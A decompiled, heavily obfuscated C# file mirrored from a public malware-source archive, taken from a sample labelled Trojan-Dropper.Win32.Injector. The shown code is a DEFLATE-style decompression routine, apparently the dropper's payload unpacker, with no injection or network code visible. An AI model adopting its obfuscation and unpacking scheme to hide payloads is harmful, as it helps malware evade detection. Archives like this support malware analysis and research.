mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
799 lines
20 KiB
C#
799 lines
20 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type:
|
|
// Assembly: Feon, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: AF8034ED-5A2C-4122-9E1B-F560737FA983
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e.exe
|
|
|
|
using System;
|
|
using System.IO;
|
|
|
|
internal sealed class \uE00F
|
|
{
|
|
public static void \uE000(Stream _param0, Stream _param1)
|
|
{
|
|
byte[] buffer = new byte[4096];
|
|
\uE00F.\uE000 obj = new \uE00F.\uE000(_param0);
|
|
while (true)
|
|
{
|
|
int count = obj.\uE000(buffer, 0, buffer.Length);
|
|
if ((count <= 0 ? 0 : 1) != 0)
|
|
_param1.Write(buffer, 0, count);
|
|
else
|
|
break;
|
|
}
|
|
}
|
|
|
|
public sealed class \uE000
|
|
{
|
|
private \uE00F.\uE009 \uE000 = new \uE00F.\uE009(32769);
|
|
private \uE00F.\uE008 \uE001;
|
|
private \uE00E \uE002;
|
|
private int \uE003 = -1;
|
|
private int \uE004 = -1;
|
|
private bool \uE005;
|
|
private int \uE006;
|
|
private long \uE007;
|
|
private long \uE008;
|
|
private bool \uE009;
|
|
private int \uE00A;
|
|
private bool \uE00B;
|
|
|
|
public \uE000(Stream _param1) => this.\uE001 = new \uE00F.\uE008(_param1);
|
|
|
|
public int \uE000(byte[] _param1, int _param2, int _param3)
|
|
{
|
|
if ((_param1 == null ? 0 : 1) == 0)
|
|
throw new ArgumentNullException();
|
|
if (_param3 == 0 || this.\uE009)
|
|
return 0;
|
|
int num1 = 0;
|
|
label_15:
|
|
while (num1 < _param3)
|
|
{
|
|
while (this.\uE003 < 0 && !this.\uE009)
|
|
this.\uE009 = !this.\uE001();
|
|
if (!this.\uE009)
|
|
{
|
|
int num2 = this.\uE002(_param1, _param2 + num1, _param3 - num1);
|
|
label_10:
|
|
int num3 = 0;
|
|
while (true)
|
|
{
|
|
switch (num3)
|
|
{
|
|
case 0:
|
|
if (num2 > 0)
|
|
{
|
|
num3 = 1;
|
|
continue;
|
|
}
|
|
goto label_14;
|
|
case 1:
|
|
num1 += num2;
|
|
num3 = 2;
|
|
continue;
|
|
case 2:
|
|
goto label_15;
|
|
default:
|
|
goto label_10;
|
|
}
|
|
}
|
|
label_14:
|
|
this.\uE003 = -1;
|
|
}
|
|
else
|
|
break;
|
|
}
|
|
return num1;
|
|
}
|
|
|
|
private bool \uE001()
|
|
{
|
|
if ((!this.\uE005 ? 1 : 0) == 0)
|
|
return false;
|
|
this.\uE007 = this.\uE001.\uE004;
|
|
label_4:
|
|
int num1 = 2;
|
|
int num2;
|
|
while (true)
|
|
{
|
|
switch (num1)
|
|
{
|
|
case 0:
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
goto label_10;
|
|
case 1:
|
|
goto label_13;
|
|
case 2:
|
|
goto label_14;
|
|
default:
|
|
num1 = 4;
|
|
continue;
|
|
}
|
|
case 1:
|
|
this.\uE003 = this.\uE001.\uE000(2);
|
|
num1 = 3;
|
|
continue;
|
|
case 2:
|
|
this.\uE005 = this.\uE001.\uE000(1) > 0;
|
|
num1 = 1;
|
|
continue;
|
|
case 3:
|
|
num2 = this.\uE003;
|
|
num1 = 0;
|
|
continue;
|
|
case 4:
|
|
goto label_15;
|
|
default:
|
|
goto label_4;
|
|
}
|
|
}
|
|
label_10:
|
|
this.\uE001.\uE001();
|
|
int num3 = this.\uE001.\uE000(16);
|
|
int num4 = this.\uE001.\uE000(16);
|
|
this.\uE006 = (num3 & ~num4) == num3 ? num3 : throw new InvalidOperationException();
|
|
this.\uE002 = (\uE00E) null;
|
|
this.\uE00B = true;
|
|
goto label_16;
|
|
label_13:
|
|
\uE00C[] objArray1 = \uE00B.\uE011;
|
|
\uE00C[] objArray2 = \uE00B.\uE012;
|
|
this.\uE006 = 0;
|
|
this.\uE002 = \uE00B.\uE013;
|
|
this.\uE00B = false;
|
|
goto label_16;
|
|
label_14:
|
|
\uE00C[] objArray3;
|
|
\uE00C[] objArray4;
|
|
this.\uE009(this.\uE001, out objArray3, out objArray4);
|
|
this.\uE006 = 0;
|
|
this.\uE002 = \uE00B.\uE004(objArray3, objArray4);
|
|
this.\uE00B = false;
|
|
goto label_16;
|
|
label_15:
|
|
throw new InvalidOperationException();
|
|
label_16:
|
|
this.\uE008 = this.\uE001.\uE004;
|
|
return true;
|
|
}
|
|
|
|
private int \uE002(byte[] _param1, int _param2, int _param3)
|
|
{
|
|
int num1 = _param2;
|
|
if ((this.\uE003 == 0 ? 0 : 1) == 0)
|
|
{
|
|
if (this.\uE006 > 0)
|
|
{
|
|
int num2 = Math.Min(_param3, this.\uE006);
|
|
label_4:
|
|
int num3 = 3;
|
|
while (true)
|
|
{
|
|
switch (num3)
|
|
{
|
|
case 0:
|
|
_param2 += num2;
|
|
num3 = 5;
|
|
continue;
|
|
case 1:
|
|
_param3 -= num2;
|
|
num3 = 0;
|
|
continue;
|
|
case 2:
|
|
this.\uE000.\uE001(_param1, _param2, num2);
|
|
num3 = 4;
|
|
continue;
|
|
case 3:
|
|
this.\uE001.\uE002(_param1, _param2, num2);
|
|
num3 = 2;
|
|
continue;
|
|
case 4:
|
|
this.\uE006 -= num2;
|
|
num3 = 1;
|
|
continue;
|
|
case 5:
|
|
goto label_22;
|
|
default:
|
|
goto label_4;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else if (!this.\uE00B)
|
|
{
|
|
if (this.\uE00A > 0)
|
|
this.\uE003(_param1, ref _param2, ref _param3);
|
|
if (_param3 > 0)
|
|
{
|
|
do
|
|
{
|
|
int num4 = \uE00F.\uE000.\uE006(this.\uE001, this.\uE002.\uE000);
|
|
this.\uE00B = num4 == 256;
|
|
if (!this.\uE00B)
|
|
{
|
|
if (num4 < 256)
|
|
{
|
|
_param1[_param2++] = (byte) num4;
|
|
this.\uE000.\uE000((byte) num4);
|
|
--_param3;
|
|
}
|
|
else if (num4 <= 285)
|
|
{
|
|
int num5 = \uE00F.\uE000.\uE007(this.\uE001, num4);
|
|
int num6 = \uE00F.\uE000.\uE008(this.\uE001, this.\uE002.\uE001);
|
|
if ((long) num6 > this.\uE000.\uE003)
|
|
throw new InvalidOperationException();
|
|
this.\uE004 = num6;
|
|
this.\uE00A = num5;
|
|
this.\uE003(_param1, ref _param2, ref _param3);
|
|
}
|
|
}
|
|
else
|
|
break;
|
|
}
|
|
while (_param3 > 0);
|
|
}
|
|
}
|
|
label_22:
|
|
this.\uE008 = this.\uE001.\uE004;
|
|
return _param2 - num1;
|
|
}
|
|
|
|
private void \uE003(byte[] _param1, ref int _param2, ref int _param3)
|
|
{
|
|
int num1 = Math.Min(this.\uE00A, _param3);
|
|
byte[] sourceArray = this.\uE000.\uE002(this.\uE004, Math.Min(num1, this.\uE004));
|
|
_param3 -= num1;
|
|
this.\uE00A -= num1;
|
|
while ((num1 <= sourceArray.Length ? 0 : 1) != 0)
|
|
{
|
|
Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, sourceArray.Length);
|
|
label_3:
|
|
int num2 = 0;
|
|
while (true)
|
|
{
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
_param2 += sourceArray.Length;
|
|
num2 = 1;
|
|
continue;
|
|
case 1:
|
|
num1 -= sourceArray.Length;
|
|
num2 = 2;
|
|
continue;
|
|
case 2:
|
|
goto label_6;
|
|
default:
|
|
goto label_3;
|
|
}
|
|
}
|
|
label_6:
|
|
this.\uE000.\uE001(sourceArray, 0, sourceArray.Length);
|
|
}
|
|
Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, num1);
|
|
_param2 += num1;
|
|
this.\uE000.\uE001(sourceArray, 0, num1);
|
|
}
|
|
|
|
public bool \uE004(int _param1)
|
|
{
|
|
byte[] numArray = new byte[1024];
|
|
int num;
|
|
while (_param1 > 0 && ((num = this.\uE000(numArray, 0, Math.Min(1024, _param1))) <= 0 ? 0 : 1) != 0)
|
|
_param1 -= num;
|
|
return _param1 <= 0;
|
|
}
|
|
|
|
public void \uE005()
|
|
{
|
|
byte[] numArray = new byte[1024];
|
|
do
|
|
;
|
|
while (this.\uE000(numArray, 0, 1024) > 0);
|
|
}
|
|
|
|
private static int \uE006(\uE00F.\uE008 _param0, \uE00D _param1)
|
|
{
|
|
while (true)
|
|
{
|
|
if (_param1 == null)
|
|
goto label_7;
|
|
else
|
|
goto label_4;
|
|
label_3:
|
|
int num;
|
|
while (true)
|
|
{
|
|
switch (num)
|
|
{
|
|
case 0:
|
|
if (_param1.\uE000)
|
|
{
|
|
num = 1;
|
|
continue;
|
|
}
|
|
goto label_1;
|
|
case 1:
|
|
goto label_7;
|
|
case 2:
|
|
goto label_9;
|
|
default:
|
|
goto label_4;
|
|
}
|
|
}
|
|
label_1:
|
|
_param1 = (_param0.\uE000(1) <= 0 ? 0 : 1) != 0 ? _param1.\uE003 : _param1.\uE002;
|
|
continue;
|
|
label_4:
|
|
num = 0;
|
|
goto label_3;
|
|
label_7:
|
|
if (_param1 == null)
|
|
{
|
|
num = 2;
|
|
goto label_3;
|
|
}
|
|
else
|
|
goto label_10;
|
|
}
|
|
label_9:
|
|
throw new InvalidOperationException();
|
|
label_10:
|
|
return (int) _param1.\uE001;
|
|
}
|
|
|
|
private static int \uE007(\uE00F.\uE008 _param0, int _param1)
|
|
{
|
|
int num1;
|
|
int num2;
|
|
\uE00B.\uE007(_param1, out num1, out num2);
|
|
label_2:
|
|
int num3 = 0;
|
|
while (true)
|
|
{
|
|
switch (num3)
|
|
{
|
|
case 0:
|
|
if (num2 > 0)
|
|
{
|
|
num3 = 1;
|
|
continue;
|
|
}
|
|
goto label_6;
|
|
case 1:
|
|
goto label_5;
|
|
default:
|
|
goto label_2;
|
|
}
|
|
}
|
|
label_5:
|
|
return num1 + _param0.\uE000(num2);
|
|
label_6:
|
|
return num1;
|
|
}
|
|
|
|
private static int \uE008(\uE00F.\uE008 _param0, \uE00D _param1)
|
|
{
|
|
int index = \uE00F.\uE000.\uE006(_param0, _param1);
|
|
int num1 = index <= 29 ? \uE00B.\uE017[index] : throw new InvalidOperationException();
|
|
label_4:
|
|
int num2 = 1;
|
|
int num3;
|
|
int num4;
|
|
while (true)
|
|
{
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
if (num3 > 0)
|
|
{
|
|
num2 = 4;
|
|
continue;
|
|
}
|
|
goto label_15;
|
|
case 1:
|
|
num3 = \uE00B.\uE018[index];
|
|
num2 = 0;
|
|
continue;
|
|
case 2:
|
|
if (index == 284)
|
|
{
|
|
num2 = 3;
|
|
continue;
|
|
}
|
|
goto label_14;
|
|
case 3:
|
|
if (num4 > 30)
|
|
{
|
|
num2 = 5;
|
|
continue;
|
|
}
|
|
goto label_14;
|
|
case 4:
|
|
num4 = _param0.\uE000(num3);
|
|
num2 = 2;
|
|
continue;
|
|
case 5:
|
|
goto label_13;
|
|
default:
|
|
goto label_4;
|
|
}
|
|
}
|
|
label_13:
|
|
throw new InvalidOperationException();
|
|
label_14:
|
|
return num1 + num4;
|
|
label_15:
|
|
return num1;
|
|
}
|
|
|
|
private void \uE009(\uE00F.\uE008 _param1, out \uE00C[] _param2, out \uE00C[] _param3)
|
|
{
|
|
int length1 = _param1.\uE000(5) + 257;
|
|
label_2:
|
|
int num1 = 1;
|
|
int num2;
|
|
int length2;
|
|
while (true)
|
|
{
|
|
switch (num1)
|
|
{
|
|
case 0:
|
|
num2 = _param1.\uE000(4) + 4;
|
|
num1 = 2;
|
|
continue;
|
|
case 1:
|
|
length2 = _param1.\uE000(5) + 1;
|
|
num1 = 0;
|
|
continue;
|
|
case 2:
|
|
if (length1 > 286)
|
|
{
|
|
num1 = 3;
|
|
continue;
|
|
}
|
|
goto label_8;
|
|
case 3:
|
|
goto label_7;
|
|
default:
|
|
goto label_2;
|
|
}
|
|
}
|
|
label_7:
|
|
throw new InvalidOperationException();
|
|
label_8:
|
|
int[] numArray1 = \uE00B.\uE014;
|
|
int[] numArray2 = new int[19];
|
|
int index1 = 0;
|
|
if ((index1 == 0 ? 1 : 0) != 0)
|
|
goto label_10;
|
|
label_9:
|
|
numArray2[numArray1[index1]] = _param1.\uE000(3);
|
|
++index1;
|
|
label_10:
|
|
if (index1 >= num2)
|
|
{
|
|
\uE00D obj = \uE00B.\uE005(\uE00B.\uE002(numArray2));
|
|
int[] numArray3 = \uE00F.\uE000.\uE00A(_param1, obj, length1 + length2);
|
|
_param2 = new \uE00C[length1];
|
|
for (int index2 = 0; index2 < length1; ++index2)
|
|
_param2[index2].\uE001 = numArray3[index2];
|
|
\uE00B.\uE003(_param2);
|
|
_param3 = new \uE00C[length2];
|
|
for (int index3 = 0; index3 < length2; ++index3)
|
|
_param3[index3].\uE001 = numArray3[index3 + length1];
|
|
\uE00B.\uE003(_param3);
|
|
}
|
|
else
|
|
goto label_9;
|
|
}
|
|
|
|
private static int[] \uE00A(\uE00F.\uE008 _param0, \uE00D _param1, int _param2)
|
|
{
|
|
int[] numArray = new int[_param2];
|
|
int index1 = 0;
|
|
if ((index1 == 0 ? 1 : 0) != 0)
|
|
goto label_22;
|
|
label_1:
|
|
int num1 = \uE00F.\uE000.\uE006(_param0, _param1);
|
|
label_3:
|
|
int num2 = 1;
|
|
while (true)
|
|
{
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
numArray[index1] = num1;
|
|
num2 = 2;
|
|
continue;
|
|
case 1:
|
|
if (num1 < 16)
|
|
{
|
|
num2 = 0;
|
|
continue;
|
|
}
|
|
goto label_7;
|
|
case 2:
|
|
goto label_21;
|
|
default:
|
|
goto label_3;
|
|
}
|
|
}
|
|
label_7:
|
|
switch (num1)
|
|
{
|
|
case 16:
|
|
int num3 = _param0.\uE000(2) + 3;
|
|
if (num3 + index1 > numArray.Length)
|
|
throw new InvalidOperationException();
|
|
for (int index2 = 0; index2 < num3; ++index2)
|
|
numArray[index1 + index2] = numArray[index1 - 1];
|
|
index1 += num3 - 1;
|
|
break;
|
|
case 17:
|
|
int num4 = _param0.\uE000(3) + 3;
|
|
if (num4 + index1 > numArray.Length)
|
|
throw new InvalidOperationException();
|
|
index1 += num4 - 1;
|
|
break;
|
|
case 18:
|
|
int num5 = _param0.\uE000(7) + 11;
|
|
if (num5 + index1 > numArray.Length)
|
|
throw new InvalidOperationException();
|
|
index1 += num5 - 1;
|
|
break;
|
|
default:
|
|
throw new InvalidOperationException();
|
|
}
|
|
label_21:
|
|
++index1;
|
|
label_22:
|
|
if (index1 >= _param2)
|
|
return numArray;
|
|
goto label_1;
|
|
}
|
|
}
|
|
|
|
private sealed class \uE008
|
|
{
|
|
private uint \uE000;
|
|
private int \uE001;
|
|
private int \uE002;
|
|
private Stream \uE003;
|
|
internal long \uE004;
|
|
|
|
internal \uE008(Stream _param1) => this.\uE003 = _param1;
|
|
|
|
internal int \uE000(int _param1)
|
|
{
|
|
this.\uE004 += (long) _param1;
|
|
for (int index = _param1 - (this.\uE002 - this.\uE001); (index <= 0 ? 0 : 1) != 0; index -= 8)
|
|
{
|
|
this.\uE000 |= checked ((uint) this.\uE003.ReadByte()) << this.\uE002;
|
|
this.\uE002 += 8;
|
|
}
|
|
int num1 = (int) (this.\uE000 >> this.\uE001) & (1 << _param1) - 1;
|
|
label_5:
|
|
int num2 = 2;
|
|
while (true)
|
|
{
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
this.\uE002 = this.\uE001 = 0;
|
|
num2 = 1;
|
|
continue;
|
|
case 1:
|
|
this.\uE000 = 0U;
|
|
num2 = 4;
|
|
continue;
|
|
case 2:
|
|
this.\uE001 += _param1;
|
|
num2 = 3;
|
|
continue;
|
|
case 3:
|
|
if (this.\uE002 == this.\uE001)
|
|
{
|
|
num2 = 0;
|
|
continue;
|
|
}
|
|
goto label_11;
|
|
case 4:
|
|
goto label_13;
|
|
default:
|
|
goto label_5;
|
|
}
|
|
}
|
|
label_11:
|
|
if (this.\uE001 >= 8)
|
|
{
|
|
this.\uE000 >>= this.\uE001;
|
|
this.\uE002 -= this.\uE001;
|
|
this.\uE001 = 0;
|
|
}
|
|
label_13:
|
|
return num1;
|
|
}
|
|
|
|
internal void \uE001()
|
|
{
|
|
if (this.\uE002 != this.\uE001)
|
|
this.\uE004 += (long) (this.\uE002 - this.\uE001);
|
|
this.\uE002 = this.\uE001 = 0;
|
|
label_4:
|
|
int num = 0;
|
|
while (true)
|
|
{
|
|
switch (num)
|
|
{
|
|
case 0:
|
|
this.\uE000 = 0U;
|
|
num = 1;
|
|
continue;
|
|
case 1:
|
|
goto label_6;
|
|
default:
|
|
goto label_4;
|
|
}
|
|
}
|
|
label_6:;
|
|
}
|
|
|
|
internal void \uE002(byte[] _param1, int _param2, int _param3)
|
|
{
|
|
if (this.\uE002 != this.\uE001)
|
|
throw new InvalidOperationException();
|
|
int num1 = this.\uE003.Read(_param1, _param2, _param3);
|
|
label_4:
|
|
int num2 = 0;
|
|
while (true)
|
|
{
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
this.\uE004 += (long) (num1 << 3);
|
|
num2 = 1;
|
|
continue;
|
|
case 1:
|
|
if (num1 != _param3)
|
|
{
|
|
num2 = 2;
|
|
continue;
|
|
}
|
|
goto label_7;
|
|
case 2:
|
|
goto label_9;
|
|
default:
|
|
goto label_4;
|
|
}
|
|
}
|
|
label_7:
|
|
return;
|
|
label_9:
|
|
throw new InvalidOperationException();
|
|
}
|
|
}
|
|
|
|
private sealed class \uE009
|
|
{
|
|
private byte[] \uE000;
|
|
private int \uE001;
|
|
internal int \uE002;
|
|
internal long \uE003;
|
|
|
|
internal \uE009(int _param1)
|
|
{
|
|
this.\uE002 = _param1;
|
|
this.\uE000 = new byte[_param1];
|
|
}
|
|
|
|
internal void \uE000(byte _param1)
|
|
{
|
|
this.\uE000[this.\uE001++] = _param1;
|
|
if ((this.\uE001 >= this.\uE002 ? 0 : 1) == 0)
|
|
this.\uE001 = 0;
|
|
++this.\uE003;
|
|
}
|
|
|
|
internal void \uE001(byte[] _param1, int _param2, int _param3)
|
|
{
|
|
this.\uE003 += (long) _param3;
|
|
if ((_param3 >= this.\uE002 ? 0 : 1) == 0)
|
|
{
|
|
Array.Copy((Array) _param1, _param2, (Array) this.\uE000, 0, this.\uE002);
|
|
this.\uE001 = 0;
|
|
}
|
|
else if (this.\uE001 + _param3 > this.\uE002)
|
|
{
|
|
int length1 = this.\uE002 - this.\uE001;
|
|
label_5:
|
|
int num = 2;
|
|
int length2;
|
|
while (true)
|
|
{
|
|
switch (num)
|
|
{
|
|
case 0:
|
|
Array.Copy((Array) _param1, _param2 + length1, (Array) this.\uE000, 0, length2);
|
|
num = 1;
|
|
continue;
|
|
case 1:
|
|
this.\uE001 = length2;
|
|
num = 4;
|
|
continue;
|
|
case 2:
|
|
length2 = this.\uE001 + _param3 - this.\uE002;
|
|
num = 3;
|
|
continue;
|
|
case 3:
|
|
Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, length1);
|
|
num = 0;
|
|
continue;
|
|
case 4:
|
|
goto label_12;
|
|
default:
|
|
goto label_5;
|
|
}
|
|
}
|
|
label_12:;
|
|
}
|
|
else
|
|
{
|
|
Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, _param3);
|
|
this.\uE001 += _param3;
|
|
if (this.\uE001 != this.\uE002)
|
|
return;
|
|
this.\uE001 = 0;
|
|
}
|
|
}
|
|
|
|
internal byte[] \uE002(int _param1, int _param2)
|
|
{
|
|
byte[] destinationArray = new byte[_param2];
|
|
if ((this.\uE001 >= _param1 ? 0 : 1) == 0)
|
|
{
|
|
Array.Copy((Array) this.\uE000, this.\uE001 - _param1, (Array) destinationArray, 0, _param2);
|
|
}
|
|
else
|
|
{
|
|
int num1 = _param1 - this.\uE001;
|
|
label_4:
|
|
int num2 = 1;
|
|
while (true)
|
|
{
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
Array.Copy((Array) this.\uE000, 0, (Array) destinationArray, num1, _param2 - num1);
|
|
num2 = 3;
|
|
continue;
|
|
case 1:
|
|
if (num1 < _param2)
|
|
{
|
|
num2 = 2;
|
|
continue;
|
|
}
|
|
goto label_9;
|
|
case 2:
|
|
Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, num1);
|
|
num2 = 0;
|
|
continue;
|
|
case 3:
|
|
goto label_10;
|
|
default:
|
|
goto label_4;
|
|
}
|
|
}
|
|
label_9:
|
|
Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, _param2);
|
|
}
|
|
label_10:
|
|
return destinationArray;
|
|
}
|
|
}
|
|
}
|